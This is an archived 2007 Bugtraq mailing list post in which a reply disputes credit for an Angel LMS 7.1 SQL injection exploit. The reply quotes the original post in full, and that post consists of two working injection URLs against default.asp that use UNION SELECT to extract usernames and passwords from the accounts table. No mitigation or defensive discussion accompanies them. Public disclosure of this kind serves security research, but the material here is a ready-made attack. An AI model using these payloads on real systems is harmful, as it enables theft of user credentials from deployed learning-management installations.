bugtraq - Re: Angel LMS 7.1 - Remote SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Thu, 1 Mar 2007 11:33:12 -0600
From: str0ke <str0ke@...w0rm.com>
To: "Guns@...ox.com" <Guns@...ox.com>
Cc: bugtraq@...urityfocus.com
Subject: Re: Angel LMS 7.1 - Remote SQL Injection

# Credit:
#	Exploit discovered by Craig Heffner
#	heffnercj [at] gmail.com
#	http://www.craigheffner.com

http://www.milw0rm.com/exploits/3390

Plagiarism sucks.

/str0ke

On 1 Mar 2007 16:06:06 -0000, Guns@...ox.com <Guns@...ox.com> wrote:
> # Angel LMS 7.1 Remote SQL Injection
> # by Guns
>
> #All User Accounts#
> http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20username%20from%20accounts--"
>
> #Account Passwords#
> http://[Angel Root Directory]/section/default.asp?id='%20union%20select%20top%201%20password%20from%20accounts--"
>